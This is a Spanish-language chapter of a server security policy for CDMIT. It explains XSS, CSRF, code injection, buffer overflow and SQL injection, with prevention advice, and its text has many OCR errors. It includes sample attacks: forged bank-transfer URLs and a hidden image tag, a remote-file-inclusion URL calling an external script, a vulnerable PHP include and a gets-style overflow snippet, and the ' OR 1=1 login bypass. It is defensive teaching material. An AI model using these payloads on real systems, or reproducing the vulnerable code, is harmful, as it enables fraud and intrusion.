Politicas y buenas practicas de seguridad en servidores web del CDMIT

Capitulo 2.-
Vulnerabilidades en
aplicaciones web.

En este capitulo se explican algunas vulnerabiigagh aplicaciones web que pueden
ser explotadas por software o por personas matiimeadas y como consecuencia,
provocar algun dafio al servidor web y de basesatiesa a la informacidén que se aloja
en el mismo. También hacemos recomendaciones pdea pvitarlas.
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2.1.-Web.

Las aplicaciones web pueden presentar diversagnalliidades que van de acuerdo a
los servicios que prestan. De acuerdo con la OWEgRen Web Application Security
Project) las vulnerabilidades en aplicaciones web mas tgds a finales del afio
2009, fueron las siguientes:

» Cross Site Scripting (XSS).

» Ataques de inyeccion de cddigo.

* Ejecucion de archivos maliciosos.

* Insecure Direct Object Reference.

» Ataques Cross Site Request Forgery (CSRF).

» Pérdidas de informacion y errores al procesar njesisia error.
* Robo de identidad de autentificacion.

* Almacenamiento criptografico inseguro.

« Comunicaciones inseguras.

* Acceso a URLs ocultas no restringidas de manereuade.

El sitio www.opensecurity.es indica que los 5 ppates tipos de vulnerabilidades en
aplicaciones web son:

* Ejecucion remota de cédigo.

 SQOL.

* Vulnerabilidades en formato de cadenas.
» Cross Site Scripting (XSS).

* Problemas atribuidos a los usuarios.

Otro sitio (www.vsantivirus.com) publica que lagnerabilidades mas comunes son:

* SQL Injection.
» Cross Site Scripting (XSS).

El sitio del Departamento de Seguridad en Compute th UNAM
(http://www.seguridad.unam.mx/vulnerabilidadesDBfenciona en su lista de
vulnerabilidades mas comunes a las siguientes:

» Cross Site Scripting (XSS).
e SQL Injection.
» Buffer Overflow.

Podemos apreciar que en las anteriores listag ltenabilidad en aplicacién web en
comun es el ataque Cross Site Scripting (XSS),lque se debe poner atencion en
ella, asi como las que se explicaran mas adelante.

Para este trabajo, se analizaron las vulnerabésl@h aplicaciones web mas comunes

porque pueden representar un peligro para losdsees web y de bases de datos del
CDMIT.
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2.1.1.-XSS (Cross Site Scripting).

El XSS es un fallo de seguridad en sistemas dennacion basados en web, que mas
gue comprometer la seguridad del servidor web comete la seguridad del cliente.

El XSS es un ataque, que consiste en inyectageptHTML y/o JavaScript en una
aplicacién web, con el objetivo de que el clienezete el cddigo inyectado al momento
de ejecutar la aplicacion.

El XSS se da cuando una aplicacion web permitectayeddigo en la pagina; esto se
puede lograr por medio de campos de texto de f@amasl o por medio de la URL.

Por lo regular, el codigo inyectado se ejecuta @@era que el cliente no nota algun
comportamiento fuera de lo normal, ya que la ejécude este cédigo se hace de
manera simultanea con el codigo original de lacaplon. Dependiendo de otros
factores, el XSS puede hacer que el navegadordo@ctle manera indebida y en
algunos casos, llegar a provocar un fallo en elider. Aunque esto Ultimo es muy
dificil porque el codigo HTML y JavaScript se ejgou en el navegador y no en el
servidor web.

Para poder evitar este tipo de ataque, en lasaaplites web se debe:

» Evitar que llegue codigo HTML y/o JavaScript pordieedel método Get o
Post, es decir, hay que filtrar el cddigo. Algutersguajes de programacion del
lado del servidor proveen funciones para evitar gueddigo HTML llegue
como tal a nuestras aplicaciones. Un ejemplo de est PHP que cuenta con
funciones que convierten el cédigo HTML en textsimplemente lo suprimen,
tal es el caso de las funciones htmispecialchgris{nlentities().

* Procurar que los datos viajen por Post en lugaGeepara evitar ataques de
XSS por URL.

« También es recomendable hacer uso de navegadodEsnos, ya que algunos
tienen la capacidad de detectar casos en dondeoddappresentar la
vulnerabilidad y lo invalidan. Como Mozilla Firef&e Internet Explorer 8, que
lo hacen.

Aunque algunos expertos en seguridad informaticaaopque las vulnerabilidades a
XSS son ya obsoletas, otros opinan lo contrariespel XSS es muy utilizado para

realizar ataques como hishing, robo de identidad y otro tipo de ataques, p@ule es
importante conocer cémo funciona para poder euitarl

2.1.2. - CSRF (Cross Site Request Forgery).

El CSRF es practicamente igual que XSS, salvo gteeaaque se basa en explotar la
confianza que un usuario tiene en un sitio web.
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Se trata de una vulnerabilidad en aplicaciones wabdonde el usuario es forzado a
ejecutar acciones no deseadas en una aplicacion emella cual se encuentra
autenticado. Con un poco de ayuda de ingenierialgagomo el envio de una liga via
correo electrénico o chat), una persona malinterada podria forzar al usuario de la
aplicacion web a ejecutar acciones no deseadaslporsmo usuario, por ejemplo la
ejecucion de cédigo de manera remota.

De ser exitoso, el CSRF puede comprometer la irdoidm del usuario y el
comportamiento normal del usuario en la aplicagié@b. En caso de que el usuario sea
el administrador de la aplicacion web, este tipovdierabilidad puede llegar a
comprometer por completo al sistema en cuestion.

Existen numerosas formas en las que el usuariogpggsdengafiado cuando intercambia
informacion con un sitio web. Con el fin de llewaacabo un ataque de este tipo, primero
se debe saber como generar una peticibn malicarsaqouie nuestra victima la ejecute.

Ejemplo:
El usuario B desea hacer una transferencia bambar$i,000 al usuario A, a través del

portal de Internet de un banco (http://banco.cdm);abecera http de la peticion al
servidor generada por el usuario B podria ser dglaente manera:

GET http://banco.com/transfer.do HTTP/1.1

Content-Length: 19;

acct=USUARIOA&amount=10(

Pero el usuario C nota que la aplicacion web raddizransferencia de parametros de la
URL de la siguiente manera:

GET http://banco.com/transfer.do?acct=USUARIOA&amiz1000 HTTP/1.1

Y como consecuencia de lo anterior, el usuario €deeexplotar esta vulnerabilidad en
la aplicacién web del banco tomando como su victnasuario B. De esta forma, el
usuario C construye una URL que transferira $1@d® la cuenta del usuario B a su
propia cuenta, como sigue:

http://banco.com/transfer.do?acct=USUARIOC&amoulBan0
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Ahora que el cédigo de la peticibn maliciosa s@é@erado, el usuario C debe engafar
al usuario B para que este envie la peticién aidmr del banco, ya que el usuario B
esta autenticado en el sistema. El método masllseseiia que el usuario C le envie al
usuario B el link con la peticidn y que este loaalya sea por correo electrénico o via
chat. La etiqueta HTML seria la siguiente:

<a href="http://banco.com/transfer.do?acct=USUAR&@0unt=100000">Gane
$10,000.00 Ahoi</a>

Asumiendo que el usuario B se encuentra autenti¢hdoiniciado sesion) en la

aplicacion web del banco, cuando da clic al linke da envié al usuario C, él

inconscientemente transfiere a la cuenta del us@$100,000. Para que el usuario B
no lo note (ya que el banco le notificara de landferencia), el usuario C decide
esconder el ataque en una imagen de cero bytes, sigoe:

<img src="http://banco.com/transfer.do?acct=USUAR&amMount=100000" width="1"
height="1" border="0"

Si esta etiqueta HTML de la imagen, fuese incl@dain correo electrénico, el usuario
B sélo veria una pequefia caja indicando que elgaale no puede mostrar la imagen.
Sin embargo, el navegador en cualquier caso, eénlaapeticion al sistema del banco
sin ninguna indicacion de que la transferenciaasielrado a cabo.

Este tipo de ataque se puede prestar a fraudesgoshing.

Para evitar este tipo de vulnerabilidad en aplaaes web, por el lado del programador,
se debe:

» Hacer que las sesiones expiren en un tiempo oeste.tiempo tiene que ser el
suficiente para que el usuario haga la transaagié@requiere.

* Forzar a que el usuario termine su sesion paralguesta forma se evite que la
sesién del usuario quede activa y se pueda hadersmale ella.

 Hacer del conocimiento del usuario que los probgenraencionados
anteriormente se pueden presentar y concientidart®mo prevenirlos.

* Ocultar la URL en navegadores y codigos fuenteplieaciones para evitar su
mal uso.

» Hacer un filtrado de datos que llegan al serviderdecir, verificar que los tipos
de datos sean los que se esperan.

» Hacer que la composicion de la URL sea complejagees, cifrar los datos que
vigjan a traves de esta.

Para evitar este tipo de vulnerabilidad en aplaraes web, por parte del usuario, se
debe:
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* Hacer el intercambio de la informacién a travésndiernet en un lugar seguro y
no sitios publicos como escuelas, lugares de abajbercafés.

* Proteger el equipo con softwaaatiphishing, sobre todo para personas que no
tienen muchos conocimientos de informatica.

» Advertir al usuario de no abrir ligas o correosceliicos sospechosos o de
dudosa procedencia.

2.1.3.-Inyeccion de Codigo (Code Injection).

Code Injection es el nombre de un ataque, que consiste en insédio que podria ser
ejecutado por una aplicacion. Un ejemplo de estaqguando se afiade una cadena de
caracteres en una cookie o los valores de un argonea la URL. Este tipo de ataque
hace uso de la falta de una validacion correctdodedatos: tipos de caracteres
permitidos, formato de datos, datos esperadodeesce

Code Injection y Command Injection, son ataques muy similares entre si, por lo que no
analizaremos a fondo este Ultimo, pero si direnuaslg diferencia entr€ode Injection

y Command Injection son las medidas distintas que se toman para |aipjativos
similares. Mientras qu€ode Injection tiene como objetivo afiadir codigo malicioso en
una aplicacion, que luego se ejecutara como pa&rtésth,Command Injection no es
precisamente cddigo que pertenece a la aplicacipn pecesariamente se ejecutara
simultdneamente con ésta. Este tipo de vulneralileh el codigo, puede ser muchas
veces peor que cualquier otra vulnerabilidad, ya fu seguridad del sitio web y
posiblemente del servidor, se ve comprometida.

Un ejemplo muy sencillo de cdmo opera este tipatdque es el siguiente:

Hagamos la suposicion de que el siguiente codigeHn se va a ejecutar:

<html>

<body>

<?php
$pagina=$_GET['page’];
Include(‘$pagina’);

2>

</body>

</html>
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Si en un servidor externo tenemos un script, esblgogealizar un ataque con Code
Injection que el cbédigo anterior presenta. Digamas ta URL que corresponde al
codigo de la aplicacion de arriba es la siguiehtg://ejemplo.net/index.php y que el
script con el cédigo que se inyectard esta en elidee cuya URL es
http://codigo.net/code.php, entonces basta contmonsina URL como sigue para
realizar el ataque y llamarla desde el navegador:

http://ejemplo.net/index.php?page=http://codigdanete.php

Con esto se ejecutara todo el cédigo que el amchaya escrito en el archivo
“code.php”.

Para evitar este tipo de ataques, basta con haeepragramacion ordenada, con el
filtrado del cdédigo y con la inicializacion de taddas variables. El ejemplo aqui
presentado es el méas utilizado para realizar gebede ataques, por lo que se debe
evitar a toda costa incluir archivos por medio degables.

2.1.4.-Buffer Overflow.

Este tipo de vulnerabilidad, es quiza, la mas colaodentro de la seguridad en el

software. La mayor parte de los desarrolladoressaiware saben lo que una

vulnerabilidad del tipo Buffer Overflow es, sin eango, este tipo de vulnerabilidad

suele ser aiin comun hoy en dia. Parte del prokdendabe a la gran variedad de formas
en las cuales el Buffer Overflow se puede dar.

Este tipo de vulnerabilidades no son tan facilesddscubrir y cuando se llegan a
descubrir, son por lo general, dificiles de explofapesar de lo anterior, los atacantes
han logrado identificar vulnerabilidades de egte &n un sin fin de sistemas de todo
tipo.

Es clasico que en esta vulnerabilidad, el hackefreetatos a un programa, los cuales,
son almacenados en una pila de tamafio inferioe &sldatos. El resultado de esto es
gue la informacion en la pila es sobrescrita inehdo las funciones de punto de
retorno. Los datos establecen el valor del punteetteno, asi que si la funcién regresa,
transfiere el control al c6digo malicioso contenatolos datos del atacante.

Aunque este tipo de Buffer Overflow es aiin comualgunas plataformas y en algunas
comunidades de desarrollo, existen otras varieddelégpos de Buffer Overflow. Otra
clase de vulnerabilidad muy similar y conocida @&dlamada Format String Attack.
Existe un gran numero de informacién acerca de \adteerabilidad en Internet y en
libros, que provee muchos detalles de como tradstg vulnerabilidad, por lo que sélo
la mencionamos, por ser conocida al igual que lasevabilidades Heap Buffer
Overflow y Off-By-One Error, que entran en estagatia.

A nivel de cddigo las vulnerabilidades de tipo BufOverflow envuelven cominmente
la violacion a las sentencias del programador. Msdinciones de manipulacién de
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memoria en lenguajes como C/C++ y sus derivadosjetutan chequeos de limites y
es posible sobrescribir facilmente los limites @aadps para su operacion. La
combinacion de la manipulaciébn de memoria y seimsnequivocadas referentes al
tamanfo son la principal causa de este tipo de rabielades.

A nivel de cédigo, una vulnerabilidad de este tgarre cuando una aplicacion se basa
en datos externos para controlar su comportamedepende de las propiedades de los
datos que se ejecutan fuera del &mbito inmedidtodikgo, o bien si es tan compleja
gue un programador no puede predecir con exaditumbmportamiento.

En las aplicaciones web, los atacantes explotanevabilidades de este tipo para
corromper la pila de ejecucion de las aplicaciomels. Al enviar cuidadosamente datos
de entrada a una aplicacién web, el atacante ptegsar que dicha aplicacién ejecute
codigo de una manera arbitraria y asi hacerse demamera efectiva del control del
sistema.

Las vulnerabilidades Buffer Overflow pueden estaspntes tanto en el servidor web
como en el servidor de aplicaciones, que da soperntenido estatico o dinamico al
sitio 0 a la aplicacién web y pueden plantear asago significativo para los usuarios del
servidor web. Cuando las aplicaciones web hacem@dibrerias, se abre la posibilidad
a ataques de Buffer Overflow.

La vulnerabilidad también puede encontrarse a migatddigo en las aplicaciones web
y suele ser mas probable dada la falta de contii®lsg tiene en estas aplicaciones y lo
dificil que resulta detectar dichas vulnerabilidcad@unque son mas probables las
vulnerabilidades de este tipo en este caso, yamaisi mencionado que son mucho mas
dificiles de encontrar y por lo tanto el nUmeroadacantes que intentar4 encontrar y
explotar estas vulnerabilidades serd menor.

Casi todos los servidores web, servidores de ajpticas y entornos de aplicaciones
Web son susceptibles a vulnerabilidades de Buffari@w, sin embargo, se tiene una
notable excepcion en los entornos desarrollados|@oguajes como Java, que son
inmunes a este tipo de ataques (a excepcion deordeshientos en el intérprete
mismo), ya que Java tiene una maquina virtual quenta con ciertos niveles de
seguridad que impiden que esta vulnerabilidad ssepite.

Para terminar con esta vulnerabilidad, revisareamogjemplo de esta para comprender
su funcionamiento.

El siguiente fragmento de cddigo de ejemplo (egueje C) demuestra que existe una
vulnerabilidad de Buffer Overflow que se da a calsaue el codigo se basa en datos
externos para controlar su comportamiento. El atace uso de la funcién gets(), que
quienes tienen algunos conocimientos del lenguajprdgramacion C/C++ sabran que
sirve para leer una cantidad arbitraria de datgaaydarlos en una pila. Como no hay
forma de limitar la cantidad de datos que estaifuntee, la seguridad del codigo
depende de que el usuario siempre ingrese unaladntienor a la capacidad en tamafio
de la pila.

char buf[BUFSIZE];

cin >> (buf);
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Para prevenir este tipo de vulnerabilidades es iitapte estar informado y al dia con
los ultimos reportes de fallos para nuestro serwdeb, para nuestras aplicaciones y
para otros productos de nuestra infraestructurtntéenet. Realizar una programacion
segura de nuestras aplicaciones es también muytampe. Hay que aplicar siempre los
parches y las actualizaciones de seguridad dernagsbductos de software que por lo
regular se encuentran disponibles en la web denoggsroveedores, pero siempre hay
gue estar informado si son seguros o no. Tambiémgartante escanear y monitorear
de manera periodica nuestros servidores y nuesipisaciones con las diversas
herramientas existentes para la busqueda de efltmsde seguridad y en el caso de las
aplicaciones, revisar todo el cédigo que aceptasda¢ usuarios a través de peticiones
HTTP y asegurarse que se dispone del tamafio adededuiffer para almacenarlos.
Esto debe hacerse incluso en el caso de entorrosi@son sensibles a este tipo de
vulnerabilidades.

2.2.-Bases de datos.

Las bases de datos son vulnerables si no se tirenbuena configuracion de seguridad
y estan propensas a experimentar el ataque llar8@td njection si no se tiene una
buena validacion en la aplicacion con la que ictéis por lo cual en este subcapitulo
Unicamente hablaremos acerca de este ataque qlmtaexplnerabilidades de una
programacion deficiente en los sistemas.

2.2.1.-SQL Injection.

Un ataque del tip&QL Injection consiste en insertar o inyectar una consulta SQL a
través del intercambio de datos entre el client@ wplicacion. Un ataque d8QL
Injection, es capaz de leer datos sensibles de la basetake dedificar los datos de
dicha base de datos (Insert, Delete, Update), &eoperaciones como administrador,
recuperar el contenido de un archivo dado que seeeitra en el Sistema de directorios
del Sistema Manejador de Bases de Datos (DBMS) yalgnnos casos ejecutar
comandos en el sistema operativo. Los ataqué&®tenjection son del tipo de ataques
de inyeccion (com€&ode Injection y Command I njection).

Como ejemplo deSQL Injection tenemos el siguiente: supongamos que tenemos un
formulario de autenticacion de usuarios que requign nombre de usuario y una
contrasefa. Veamos la siguiente consulta, haciesdale PHP:

SELECT * FROM usuarios WHERE usuario=$_ POST['usipAND
contrasena=$_POST['contrasenaT;

Ahora bien, si en el formulario de autenticacidndducimos como usuario tom y como
contrasefia ‘OR 1 = ] de tal forma que la consulta seria:
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SELECT * FROM usuarios WHERE usuario= 'tom' && ca#ena =" 0OR 1 = 1;

Con la consulta anterior, cualquier usuario quedattenticado, porque esta consulta
siempre regresaria algo diferente de nulo.

Para evitar que nuestras aplicaciones sean vulesrabun ataque dsQL Injection,
nunca debemos confiar en la informacion que elnsuatroduce en los formularios,
toda esa informacién debe ser verificada y validadaecomienda también no construir
consultas de SQL de forma dinamica, ya que soreptibtes a ser cambiadas de forma
externa, también hay que evitar el uso de cuerdaspdvilegios administrativos, al
igual que se debe evitar proporcionar informaciémecesaria (mensajes como
“contrasefia incorrecta” o “usuario incorrecto” nebdn ser utilizados, mejor utilizar
“usuario y/o contrasefa incorrectos”).

El conocer las vulnerabilidades en las aplicaciomels es de suma importancia por el
riesgo que implica al servidor si no se encuemotegido correctamente.

A continuacion se dara el resultado del analisaizado al servidor web y de bases de

datos del CDMIT para determinar los activos, lagm@azas, las vulnerabilidades y los
mecanismos de control, asi como las recomendacparasninimizar los riesgos.
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